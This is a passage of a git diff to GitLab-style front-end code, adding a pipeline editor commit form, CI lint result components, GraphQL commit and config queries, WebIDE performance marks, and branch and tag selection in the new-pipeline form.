- data.splice(1, 0, { type: 'divider' });
-
- return data;
- })
- .then(data => callback(data))
- .catch(() => new Flash(__('Error fetching projects')));
- },
- id(obj) {
- return obj.id;
- },
- text(obj) {
- return obj.name_with_namespace;
- },
- clicked: () => Search.submitSearch(),
- });
-
- Project.initRefSwitcher();
+ setHighlightClass(); // Code Highlighting
+ this.eventListeners(); // Search Form Actions
+ refreshCounts(); // Other Scope Tab Counts
+ Project.initRefSwitcher(); // Code Search Branch Picker
}
eventListeners() {
@@ -97,20 +58,4 @@ export default class Search {
visitUrl($target.href);
ev.stopPropagation();
}
-
- getProjectsData(term) {
- return new Promise(resolve => {
- if (this.groupId) {
- Api.groupProjects(this.groupId, term, {}, resolve);
- } else {
- Api.projects(
- term,
- {
- order_by: 'id',
- },
- resolve,
- );
- }
- });
- }
}
diff --git a/app/assets/javascripts/performance/constants.js b/app/assets/javascripts/performance/constants.js
index 816eb9b3a66..069f3c265f3 100644
--- a/app/assets/javascripts/performance/constants.js
+++ b/app/assets/javascripts/performance/constants.js
@@ -19,16 +19,27 @@ export const SNIPPET_MEASURE_BLOBS_CONTENT = 'snippet-blobs-content';
// Marks
export const WEBIDE_MARK_APP_START = 'webide-app-start';
-export const WEBIDE_MARK_TREE_START = 'webide-tree-start';
-export const WEBIDE_MARK_TREE_FINISH = 'webide-tree-finished';
-export const WEBIDE_MARK_FILE_START = 'webide-file-start';
export const WEBIDE_MARK_FILE_CLICKED = 'webide-file-clicked';
export const WEBIDE_MARK_FILE_FINISH = 'webide-file-finished';
+export const WEBIDE_MARK_REPO_EDITOR_START = 'webide-init-editor-start';
+export const WEBIDE_MARK_REPO_EDITOR_FINISH = 'webide-init-editor-finish';
+export const WEBIDE_MARK_FETCH_BRANCH_DATA_START = 'webide-getBranchData-start';
+export const WEBIDE_MARK_FETCH_BRANCH_DATA_FINISH = 'webide-getBranchData-finish';
+export const WEBIDE_MARK_FETCH_FILE_DATA_START = 'webide-getFileData-start';
+export const WEBIDE_MARK_FETCH_FILE_DATA_FINISH = 'webide-getFileData-finish';
+export const WEBIDE_MARK_FETCH_FILES_START = 'webide-getFiles-start';
+export const WEBIDE_MARK_FETCH_FILES_FINISH = 'webide-getFiles-finish';
+export const WEBIDE_MARK_FETCH_PROJECT_DATA_START = 'webide-getProjectData-start';
+export const WEBIDE_MARK_FETCH_PROJECT_DATA_FINISH = 'webide-getProjectData-finish';
// Measures
-export const WEBIDE_MEASURE_TREE_FROM_REQUEST = 'webide-tree-loading-from-request';
-export const WEBIDE_MEASURE_FILE_FROM_REQUEST = 'webide-file-loading-from-request';
export const WEBIDE_MEASURE_FILE_AFTER_INTERACTION = 'webide-file-loading-after-interaction';
+export const WEBIDE_MEASURE_FETCH_PROJECT_DATA = 'WebIDE: Project data';
+export const WEBIDE_MEASURE_FETCH_BRANCH_DATA = 'WebIDE: Branch data';
+export const WEBIDE_MEASURE_FETCH_FILE_DATA = 'WebIDE: File data';
+export const WEBIDE_MEASURE_BEFORE_VUE = 'WebIDE: Before Vue app';
+export const WEBIDE_MEASURE_REPO_EDITOR = 'WebIDE: Repo Editor';
+export const WEBIDE_MEASURE_FETCH_FILES = 'WebIDE: Fetch Files';
//
// MR Diffs namespace
diff --git a/app/assets/javascripts/performance_bar/index.js b/app/assets/javascripts/performance_bar/index.js
index f29b5f42d8f..e0b7f2190ca 100644
--- a/app/assets/javascripts/performance_bar/index.js
+++ b/app/assets/javascripts/performance_bar/index.js
@@ -1,5 +1,6 @@
/* eslint-disable @gitlab/require-i18n-strings */
import Vue from 'vue';
+import Translate from '~/vue_shared/translate';
import axios from '~/lib/utils/axios_utils';
import PerformanceBarService from './services/performance_bar_service';
@@ -7,6 +8,8 @@ import PerformanceBarStore from './stores/performance_bar_store';
import initPerformanceBarLog from './performance_bar_log';
+Vue.use(Translate);
+
const initPerformanceBar = el => {
const performanceBarData = el.dataset;
@@ -123,11 +126,23 @@ const initPerformanceBar = el => {
});
};
-document.addEventListener('DOMContentLoaded', () => {
+let loadedPeekBar = false;
+function loadBar() {
const jsPeek = document.querySelector('#js-peek');
- if (jsPeek) {
+ if (!loadedPeekBar && jsPeek) {
+ loadedPeekBar = true;
initPerformanceBar(jsPeek);
}
+}
+
+// If js-peek is not loaded when this script is executed, this call will do nothing
+// If this is the case, then it will loadBar on DOMContentLoaded. We would prefer it
+// to be initialized before the DOMContetLoaded event in order to pick up all the
+// requests sent from the page.
+loadBar();
+
+document.addEventListener('DOMContentLoaded', () => {
+ loadBar();
});
initPerformanceBarLog();
diff --git a/app/assets/javascripts/persistent_user_callouts.js b/app/assets/javascripts/persistent_user_callouts.js
index 8c5f45e9d34..d4857a19ff7 100644
--- a/app/assets/javascripts/persistent_user_callouts.js
+++ b/app/assets/javascripts/persistent_user_callouts.js
@@ -7,6 +7,7 @@ const PERSISTENT_USER_CALLOUTS = [
'.js-buy-pipeline-minutes-notification-callout',
'.js-token-expiry-callout',
'.js-registration-enabled-callout',
+ '.js-new-user-signups-cap-reached',
];
const initCallouts = () => {
diff --git a/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue b/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
new file mode 100644
index 00000000000..9279273283e
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
@@ -0,0 +1,139 @@
+<script>
+import {
+ GlButton,
+ GlForm,
+ GlFormCheckbox,
+ GlFormInput,
+ GlFormGroup,
+ GlFormTextarea,
+ GlSprintf,
+} from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ components: {
+ GlButton,
+ GlForm,
+ GlFormCheckbox,
+ GlFormInput,
+ GlFormGroup,
+ GlFormTextarea,
+ GlSprintf,
+ },
+ props: {
+ defaultBranch: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ defaultMessage: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ isSaving: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ message: this.defaultMessage,
+ branch: this.defaultBranch,
+ openMergeRequest: false,
+ };
+ },
+ computed: {
+ isDefaultBranch() {
+ return this.branch === this.defaultBranch;
+ },
+ submitDisabled() {
+ return !(this.message && this.branch);
+ },
+ },
+ methods: {
+ onSubmit() {
+ this.$emit('submit', {
+ message: this.message,
+ branch: this.branch,
+ openMergeRequest: this.openMergeRequest,
+ });
+ },
+ onReset() {
+ this.$emit('cancel');
+ },
+ },
+ i18n: {
+ commitMessage: __('Commit message'),
+ targetBranch: __('Target Branch'),
+ startMergeRequest: __('Start a %{new_merge_request} with these changes'),
+ newMergeRequest: __('new merge request'),
+ commitChanges: __('Commit changes'),
+ cancel: __('Cancel'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-form @submit.prevent="onSubmit" @reset.prevent="onReset">
+ <gl-form-group
+ id="commit-group"
+ :label="$options.i18n.commitMessage"
+ label-cols-sm="2"
+ label-for="commit-message"
+ >
+ <gl-form-textarea
+ id="commit-message"
+ v-model="message"
+ class="gl-font-monospace!"
+ required
+ :placeholder="defaultMessage"
+ />
+ </gl-form-group>
+ <gl-form-group
+ id="target-branch-group"
+ :label="$options.i18n.targetBranch"
+ label-cols-sm="2"
+ label-for="target-branch-field"
+ >
+ <gl-form-input
+ id="target-branch-field"
+ v-model="branch"
+ class="gl-font-monospace!"
+ required
+ />
+ <gl-form-checkbox
+ v-if="!isDefaultBranch"
+ v-model="openMergeRequest"
+ data-testid="new-mr-checkbox"
+ class="gl-mt-3"
+ >
+ <gl-sprintf :message="$options.i18n.startMergeRequest">
+ <template #new_merge_request>
+ <strong>{{ $options.i18n.newMergeRequest }}</strong>
+ </template>
+ </gl-sprintf>
+ </gl-form-checkbox>
+ </gl-form-group>
+ <div
+ class="gl-display-flex gl-justify-content-space-between gl-p-5 gl-bg-gray-10 gl-border-t-gray-100 gl-border-t-solid gl-border-t-1"
+ >
+ <gl-button
+ type="submit"
+ class="js-no-auto-disable"
+ category="primary"
+ variant="success"
+ :disabled="submitDisabled"
+ :loading="isSaving"
+ >
+ {{ $options.i18n.commitChanges }}
+ </gl-button>
+ <gl-button type="reset" category="secondary" class="gl-mr-3">
+ {{ $options.i18n.cancel }}
+ </gl-button>
+ </div>
+ </gl-form>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue
new file mode 100644
index 00000000000..0d1c214c5b1
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue
@@ -0,0 +1,143 @@
+<script>
+import { GlAlert, GlLink, GlSprintf, GlTable } from '@gitlab/ui';
+import CiLintWarnings from './ci_lint_warnings.vue';
+import CiLintResultsValue from './ci_lint_results_value.vue';
+import CiLintResultsParam from './ci_lint_results_param.vue';
+import { __ } from '~/locale';
+
+const thBorderColor = 'gl-border-gray-100!';
+
+export default {
+ correct: {
+ variant: 'success',
+ text: __('syntax is correct.'),
+ },
+ incorrect: {
+ variant: 'danger',
+ text: __('syntax is incorrect.'),
+ },
+ includesText: __(
+ 'CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}',
+ ),
+ warningTitle: __('The form contains the following warning:'),
+ fields: [
+ {
+ key: 'parameter',
+ label: __('Parameter'),
+ thClass: thBorderColor,
+ },
+ {
+ key: 'value',
+ label: __('Value'),
+ thClass: thBorderColor,
+ },
+ ],
+ components: {
+ GlAlert,
+ GlLink,
+ GlSprintf,
+ GlTable,
+ CiLintWarnings,
+ CiLintResultsValue,
+ CiLintResultsParam,
+ },
+ props: {
+ valid: {
+ type: Boolean,
+ required: true,
+ },
+ jobs: {
+ type: Array,
+ required: true,
+ },
+ errors: {
+ type: Array,
+ required: true,
+ },
+ warnings: {
+ type: Array,
+ required: true,
+ },
+ dryRun: {
+ type: Boolean,
+ required: true,
+ },
+ lintHelpPagePath: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ isWarningDismissed: false,
+ };
+ },
+ computed: {
+ status() {
+ return this.valid ? this.$options.correct : this.$options.incorrect;
+ },
+ shouldShowTable() {
+ return this.errors.length === 0;
+ },
+ shouldShowError() {
+ return this.errors.length > 0;
+ },
+ shouldShowWarning() {
+ return this.warnings.length > 0 && !this.isWarningDismissed;
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-alert
+ class="gl-mb-5"
+ :variant="status.variant"
+ :title="__('Status:')"
+ :dismissible="false"
+ data-testid="ci-lint-status"
+ >{{ status.text }}
+ <gl-sprintf :message="$options.includesText">
+ <template #code="{content}">
+ <code>
+ {{ content }}
+ </code>
+ </template>
+ <template #link>
+ <gl-link :href="lintHelpPagePath" target="_blank">
+ {{ __('More information') }}
+ </gl-link>
+ </template>
+ </gl-sprintf>
+ </gl-alert>
+
+ <pre
+ v-if="shouldShowError"
+ class="gl-mb-5"
+ data-testid="ci-lint-errors"
+ ><div v-for="error in errors" :key="error">{{ error }}</div></pre>
+
+ <ci-lint-warnings
+ v-if="shouldShowWarning"
+ :warnings="warnings"
+ data-testid="ci-lint-warnings"
+ @dismiss="isWarningDismissed = true"
+ />
+
+ <gl-table
+ v-if="shouldShowTable"
+ :items="jobs"
+ :fields="$options.fields"
+ bordered
+ data-testid="ci-lint-table"
+ >
+ <template #cell(parameter)="{ item }">
+ <ci-lint-results-param :stage="item.stage" :job-name="item.name" />
+ </template>
+ <template #cell(value)="{ item }">
+ <ci-lint-results-value :item="item" :dry-run="dryRun" />
+ </template>
+ </gl-table>
+ </div>
+</template>
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint_results_param.vue b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results_param.vue
index 23808bcb292..23808bcb292 100644
--- a/app/assets/javascripts/ci_lint/components/ci_lint_results_param.vue
+++ b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results_param.vue
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint_results_value.vue b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results_value.vue
index 4929c3206df..4929c3206df 100644
--- a/app/assets/javascripts/ci_lint/components/ci_lint_results_value.vue
+++ b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results_value.vue
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint_warnings.vue b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_warnings.vue
index ac0332cb0bd..ac0332cb0bd 100644
--- a/app/assets/javascripts/ci_lint/components/ci_lint_warnings.vue
+++ b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint_warnings.vue
diff --git a/app/assets/javascripts/pipeline_editor/components/text_editor.vue b/app/assets/javascripts/pipeline_editor/components/text_editor.vue
index a925077c906..22f2a32c9ac 100644
--- a/app/assets/javascripts/pipeline_editor/components/text_editor.vue
+++ b/app/assets/javascripts/pipeline_editor/components/text_editor.vue
@@ -5,22 +5,10 @@ export default {
components: {
EditorLite,
},
- props: {
- value: {
- type: String,
- required: false,
- default: '',
- },
- },
};
</script>
<template>
<div class="gl-border-solid gl-border-gray-100 gl-border-1">
- <editor-lite
- v-model="value"
- file-name="*.yml"
- :editor-options="{ readOnly: true }"
- @editor-ready="$emit('editor-ready')"
- />
+ <editor-lite file-name="*.yml" v-bind="$attrs" v-on="$listeners" />
</div>
</template>
diff --git a/app/assets/javascripts/pipeline_editor/constants.js b/app/assets/javascripts/pipeline_editor/constants.js
new file mode 100644
index 00000000000..70bab8092c0
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/constants.js
@@ -0,0 +1,2 @@
+export const CI_CONFIG_STATUS_VALID = 'VALID';
+export const CI_CONFIG_STATUS_INVALID = 'INVALID';
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql
new file mode 100644
index 00000000000..11bca42fd69
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql
@@ -0,0 +1,26 @@
+mutation commitCIFileMutation(
+ $projectPath: ID!
+ $branch: String!
+ $startBranch: String
+ $message: String!
+ $filePath: String!
+ $lastCommitId: String!
+ $content: String
+) {
+ commitCreate(
+ input: {
+ projectPath: $projectPath
+ branch: $branch
+ startBranch: $startBranch
+ message: $message
+ actions: [
+ { action: UPDATE, filePath: $filePath, lastCommitId: $lastCommitId, content: $content }
+ ]
+ }
+ ) {
+ commit {
+ id
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/ci_lint/graphql/mutations/lint_ci.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql
index 496036f690f..496036f690f 100644
--- a/app/assets/javascripts/ci_lint/graphql/mutations/lint_ci.mutation.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql
new file mode 100644
index 00000000000..d65d9892260
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql
@@ -0,0 +1,11 @@
+#import "~/pipelines/graphql/queries/pipeline_stages_connection.fragment.graphql"
+
+query getCiConfigData($content: String!) {
+ ciConfig(content: $content) {
+ errors
+ status
+ stages {
+ ...PipelineStagesConnection
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
index 7b8c70ac93e..c1cdb5eb2ee 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
+++ b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
@@ -1,4 +1,5 @@
import Api from '~/api';
+import axios from '~/lib/utils/axios_utils';
export const resolvers = {
Query: {
@@ -11,6 +12,32 @@ export const resolvers = {
};
},
},
-};
+ Mutation: {
+ lintCI: (_, { endpoint, content, dry_run }) => {
+ return axios.post(endpoint, { content, dry_run }).then(({ data }) => ({
+ valid: data.valid,
+ errors: data.errors,
+ warnings: data.warnings,
+ jobs: data.jobs.map(job => {
+ const only = job.only ? { refs: job.only.refs, __typename: 'CiLintJobOnlyPolicy' } : null;
-export default resolvers;
+ return {
+ name: job.name,
+ stage: job.stage,
+ beforeScript: job.before_script,
+ script: job.script,
+ afterScript: job.after_script,
+ tagList: job.tag_list,
+ environment: job.environment,
+ when: job.when,
+ allowFailure: job.allow_failure,
+ only,
+ except: job.except,
+ __typename: 'CiLintJob',
+ };
+ }),
+ __typename: 'CiLintContent',
+ }));
+ },
+ },
+};
diff --git a/app/assets/javascripts/pipeline_editor/index.js b/app/assets/javascripts/pipeline_editor/index.js
index ccd7b74064f..8268a907a29 100644
--- a/app/assets/javascripts/pipeline_editor/index.js
+++ b/app/assets/javascripts/pipeline_editor/index.js
@@ -10,7 +10,11 @@ import PipelineEditorApp from './pipeline_editor_app.vue';
export const initPipelineEditor = (selector = '#js-pipeline-editor') => {
const el = document.querySelector(selector);
- const { projectPath, defaultBranch, ciConfigPath } = el?.dataset;
+ if (!el) {
+ return null;
+ }
+
+ const { ciConfigPath, commitId, defaultBranch, newMergeRequestPath, projectPath } = el?.dataset;
Vue.use(VueApollo);
@@ -24,9 +28,11 @@ export const initPipelineEditor = (selector = '#js-pipeline-editor') => {
render(h) {
return h(PipelineEditorApp, {
props: {
- projectPath,
- defaultBranch,
ciConfigPath,
+ commitId,
+ defaultBranch,
+ newMergeRequestPath,
+ projectPath,
},
});
},
diff --git a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
index 50b946af456..96dc782964b 100644
--- a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
+++ b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
@@ -1,21 +1,38 @@
<script>
-import { GlLoadingIcon, GlAlert, GlTabs, GlTab } from '@gitlab/ui';
+import { GlAlert, GlLoadingIcon, GlTab, GlTabs } from '@gitlab/ui';
import { __, s__, sprintf } from '~/locale';
+import { mergeUrlParams, redirectTo, refreshCurrentPage } from '~/lib/utils/url_utility';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import TextEditor from './components/text_editor.vue';
import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
+import CommitForm from './components/commit/commit_form.vue';
+import TextEditor from './components/text_editor.vue';
+import commitCiFileMutation from './graphql/mutations/commit_ci_file.mutation.graphql';
import getBlobContent from './graphql/queries/blob_content.graphql';
+import getCiConfigData from './graphql/queries/ci_config.graphql';
+import { unwrapStagesWithNeeds } from '~/pipelines/components/unwrapping_utils';
+
+const MR_SOURCE_BRANCH = 'merge_request[source_branch]';
+const MR_TARGET_BRANCH = 'merge_request[target_branch]';
+
+const COMMIT_FAILURE = 'COMMIT_FAILURE';
+const DEFAULT_FAILURE = 'DEFAULT_FAILURE';
+const LOAD_FAILURE_NO_FILE = 'LOAD_FAILURE_NO_FILE';
+const LOAD_FAILURE_NO_REF = 'LOAD_FAILURE_NO_REF';
+const LOAD_FAILURE_UNKNOWN = 'LOAD_FAILURE_UNKNOWN';
export default {
components: {
- GlLoadingIcon,
+ CommitForm,
GlAlert,
- GlTabs,
+ GlLoadingIcon,
GlTab,
- TextEditor,
+ GlTabs,
PipelineGraph,
+ TextEditor,
},
+ mixins: [glFeatureFlagsMixin()],
props: {
projectPath: {
type: String,
@@ -26,16 +43,31 @@ export default {
required: false,
default: null,
},
+ commitId: {
+ type: String,
+ required: false,
+ default: null,
+ },
ciConfigPath: {
type: String,
required: true,
},
+ newMergeRequestPath: {
+ type: String,
+ required: true,
+ },
},
data() {
return {
- error: null,
+ ciConfigData: {},
content: '',
+ contentModel: '',
+ currentTabIndex: 0,
editorIsReady: false,
+ failureType: null,
+ failureReasons: [],
+ isSaving: false,
+ showFailureAlert: false,
};
},
apollo: {
@@ -51,58 +83,212 @@ export default {
update(data) {
return data?.blobContent?.rawData;
},
+ result({ data }) {
+ this.contentModel = data?.blobContent?.rawData ?? '';
+ },
error(error) {
- this.error = error;
+ this.handleBlobContentError(error);
+ },
+ },
+ ciConfigData: {
+ query: getCiConfigData,
+ // If content is not loaded, we can't lint the data
+ skip: ({ contentModel }) => {
+ return !contentModel;
+ },
+ variables() {
+ return {
+ content: this.contentModel,
+ };
+ },
+ update(data) {
+ const { ciConfigData } = data || {};
+ const stageNodes = ciConfigData?.stages?.nodes || [];
+ const stages = unwrapStagesWithNeeds(stageNodes);
+
+ return { ...ciConfigData, stages };
+ },
+ error() {
+ this.reportFailure(LOAD_FAILURE_UNKNOWN);
},
},
},
computed: {
- loading() {
+ isBlobContentLoading() {
return this.$apollo.queries.content.loading;
},
- errorMessage() {
- const { message: generalReason, networkError } = this.error ?? {};
-
- const { data } = networkError?.response ?? {};
- // 404 for missing file uses `message`
- // 400 for a missing ref uses `error`
- const networkReason = data?.message ?? data?.error;
-
- const reason = networkReason ?? generalReason ?? this.$options.i18n.unknownError;
- return sprintf(this.$options.i18n.errorMessageWithReason, { reason });
+ isVisualizationTabLoading() {
+ return this.$apollo.queries.ciConfigData.loading;
+ },
+ isVisualizeTabActive() {
+ return this.currentTabIndex === 1;
},
- pipelineData() {
- // Note data will loaded as part of https://gitlab.com/gitlab-org/gitlab/-/issues/263141
- return {};
+ defaultCommitMessage() {
+ return sprintf(this.$options.i18n.defaultCommitMessage, { sourcePath: this.ciConfigPath });
+ },
+ failure() {
+ switch (this.failureType) {
+ case LOAD_FAILURE_NO_REF:
+ return {
+ text: this.$options.errorTexts[LOAD_FAILURE_NO_REF],
+ variant: 'danger',
+ };
+ case LOAD_FAILURE_NO_FILE:
+ return {
+ text: this.$options.errorTexts[LOAD_FAILURE_NO_FILE],
+ variant: 'danger',
+ };
+ case LOAD_FAILURE_UNKNOWN:
+ return {
+ text: this.$options.errorTexts[LOAD_FAILURE_UNKNOWN],
+ variant: 'danger',
+ };
+ case COMMIT_FAILURE:
+ return {
+ text: this.$options.errorTexts[COMMIT_FAILURE],
+ variant: 'danger',
+ };
+ default:
+ return {
+ text: this.$options.errorTexts[DEFAULT_FAILURE],
+ variant: 'danger',
+ };
+ }
},
},
i18n: {
- unknownError: __('Unknown Error'),
- errorMessageWithReason: s__('Pipelines|CI file could not be loaded: %{reason}'),
+ defaultCommitMessage: __('Update %{sourcePath} file'),
tabEdit: s__('Pipelines|Write pipeline configuration'),
tabGraph: s__('Pipelines|Visualize'),
},
+ errorTexts: {
+ [LOAD_FAILURE_NO_REF]: s__(
+ 'Pipelines|Repository does not have a default branch, please set one.',
+ ),
+ [LOAD_FAILURE_NO_FILE]: s__('Pipelines|No CI file found in this repository, please add one.'),
+ [LOAD_FAILURE_UNKNOWN]: s__('Pipelines|The CI configuration was not loaded, please try again.'),
+ [COMMIT_FAILURE]: s__('Pipelines|The GitLab CI configuration could not be updated.'),
+ },
+ methods: {
+ handleBlobContentError(error = {}) {
+ const { networkError } = error;
+
+ const { response } = networkError;
+ if (response?.status === 404) {
+ // 404 for missing CI file
+ this.reportFailure(LOAD_FAILURE_NO_FILE);
+ } else if (response?.status === 400) {
+ // 400 for a missing ref when no default branch is set
+ this.reportFailure(LOAD_FAILURE_NO_REF);
+ } else {
+ this.reportFailure(LOAD_FAILURE_UNKNOWN);
+ }
+ },
+ dismissFailure() {
+ this.showFailureAlert = false;
+ },
+ reportFailure(type, reasons = []) {
+ this.showFailureAlert = true;
+ this.failureType = type;
+ this.failureReasons = reasons;
+ },
+ redirectToNewMergeRequest(sourceBranch) {
+ const url = mergeUrlParams(
+ {
+ [MR_SOURCE_BRANCH]: sourceBranch,
+ [MR_TARGET_BRANCH]: this.defaultBranch,
+ },
+ this.newMergeRequestPath,
+ );
+ redirectTo(url);
+ },
+ async onCommitSubmit(event) {
+ this.isSaving = true;
+ const { message, branch, openMergeRequest } = event;
+
+ try {
+ const {
+ data: {
+ commitCreate: { errors },
+ },
+ } = await this.$apollo.mutate({
+ mutation: commitCiFileMutation,
+ variables: {
+ projectPath: this.projectPath,
+ branch,
+ startBranch: this.defaultBranch,
+ message,
+ filePath: this.ciConfigPath,
+ content: this.contentModel,
+ lastCommitId: this.commitId,
+ },
+ });
+
+ if (errors?.length) {
+ this.reportFailure(COMMIT_FAILURE, errors);
+ return;
+ }
+
+ if (openMergeRequest) {
+ this.redirectToNewMergeRequest(branch);
+ } else {
+ // Refresh the page to ensure commit is updated
+ refreshCurrentPage();
+ }
+ } catch (error) {
+ this.reportFailure(COMMIT_FAILURE, [error?.message]);
+ } finally {
+ this.isSaving = false;
+ }
+ },
+ onCommitCancel() {
+ this.contentModel = this.content;
+ },
+ },
};
</script>
<template>
<div class="gl-mt-4">
- <gl-alert v-if="error" :dismissible="false" variant="danger">{{ errorMessage }}</gl-alert>
+ <gl-alert
+ v-if="showFailureAlert"
+ :variant="failure.variant"
+ :dismissible="true"
+ @dismiss="dismissFailure"
+ >
+ {{ failure.text }}
+ <ul v-if="failureReasons.length" class="gl-mb-0">
+ <li v-for="reason in failureReasons" :key="reason">{{ reason }}</li>
+ </ul>
+ </gl-alert>
<div class="gl-mt-4">
- <gl-loading-icon v-if="loading" size="lg" />
- <div v-else class="file-editor">
- <gl-tabs>
+ <gl-loading-icon v-if="isBlobContentLoading" size="lg" class="gl-m-3" />
+ <div v-else class="file-editor gl-mb-3">
+ <gl-tabs v-model="currentTabIndex">
<!-- editor should be mounted when its tab is visible, so the container has a size -->
<gl-tab :title="$options.i18n.tabEdit" :lazy="!editorIsReady">
<!-- editor should be mounted only once, when the tab is displayed -->
- <text-editor v-model="content" @editor-ready="editorIsReady = true" />
+ <text-editor v-model="contentModel" @editor-ready="editorIsReady = true" />
</gl-tab>
- <gl-tab :title="$options.i18n.tabGraph">
- <pipeline-graph :pipeline-data="pipelineData" />
+ <gl-tab
+ v-if="glFeatures.ciConfigVisualizationTab"
+ :title="$options.i18n.tabGraph"
+ :lazy="!isVisualizeTabActive"
+ data-testid="visualization-tab"
+ >
+ <gl-loading-icon v-if="isVisualizationTabLoading" size="lg" class="gl-m-3" />
+ <pipeline-graph v-else :pipeline-data="ciConfigData" />
</gl-tab>
</gl-tabs>
</div>
+ <commit-form
+ :default-branch="defaultBranch"
+ :default-message="defaultCommitMessage"
+ :is-saving="isSaving"
+ @cancel="onCommitCancel"
+ @submit="onCommitSubmit"
+ />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue b/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
index 6552665100a..f2d68054e80 100644
--- a/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
+++ b/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
@@ -12,14 +12,18 @@ import {
GlLink,
GlDropdown,
GlDropdownItem,
+ GlDropdownSectionHeader,
GlSearchBoxByType,
GlSprintf,
GlLoadingIcon,
} from '@gitlab/ui';
+import * as Sentry from '~/sentry/wrapper';
import { s__, __, n__ } from '~/locale';
import axios from '~/lib/utils/axios_utils';
import { redirectTo } from '~/lib/utils/url_utility';
-import { VARIABLE_TYPE, FILE_TYPE } from '../constants';
+import { VARIABLE_TYPE, FILE_TYPE, CONFIG_VARIABLES_TIMEOUT } from '../constants';
+import { backOff } from '~/lib/utils/common_utils';
+import httpStatusCodes from '~/lib/utils/http_status';
export default {
typeOptions: [
@@ -44,6 +48,7 @@ export default {
GlLink,
GlDropdown,
GlDropdownItem,
+ GlDropdownSectionHeader,
GlSearchBoxByType,
GlSprintf,
GlLoadingIcon,
@@ -57,11 +62,19 @@ export default {
type: String,
required: true,
},
+ defaultBranch: {
+ type: String,
+ required: true,
+ },
projectId: {
type: String,
required: true,
},
- refs: {
+ branches: {
+ type: Array,
+ required: true,
+ },
+ tags: {
type: Array,
required: true,
},
@@ -92,7 +105,9 @@ export default {
data() {
return {
searchTerm: '',
- refValue: this.refParam,
+ refValue: {
+ shortName: this.refParam,
+ },
form: {},
error: null,
warnings: [],
@@ -102,9 +117,21 @@ export default {
};
},
computed: {
- filteredRefs() {
- const lowerCasedSearchTerm = this.searchTerm.toLowerCase();
- return this.refs.filter(ref => ref.toLowerCase().includes(lowerCasedSearchTerm));
+ lowerCasedSearchTerm() {
+ return this.searchTerm.toLowerCase();
+ },
+ filteredBranches() {
+ return this.branches.filter(branch =>
+ branch.shortName.toLowerCase().includes(this.lowerCasedSearchTerm),
+ );
+ },
+ filteredTags() {
+ return this.tags.filter(tag =>
+ tag.shortName.toLowerCase().includes(this.lowerCasedSearchTerm),
+ );
+ },
+ hasTags() {
+ return this.tags.length > 0;
},
overMaxWarningsLimit() {
return this.totalWarnings > this.maxWarnings;
@@ -118,14 +145,27 @@ export default {
shouldShowWarning() {
return this.warnings.length > 0 && !this.isWarningDismissed;
},
+ refShortName() {
+ return this.refValue.shortName;
+ },
+ refFullName() {
+ return this.refValue.fullName;
+ },
variables() {
- return this.form[this.refValue]?.variables ?? [];
+ return this.form[this.refFullName]?.variables ?? [];
},
descriptions() {
- return this.form[this.refValue]?.descriptions ?? {};
+ return this.form[this.refFullName]?.descriptions ?? {};
},
},
created() {
+ // this is needed until we add support for ref type in url query strings
+ // ensure default branch is called with full ref on load
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/287815
+ if (this.refValue.shortName === this.defaultBranch) {
+ this.refValue.fullName = `refs/heads/${this.refValue.shortName}`;
+ }
+
this.setRefSelected(this.refValue);
},
methods: {
@@ -168,19 +208,19 @@ export default {
setRefSelected(refValue) {
this.refValue = refValue;
- if (!this.form[refValue]) {
- this.fetchConfigVariables(refValue)
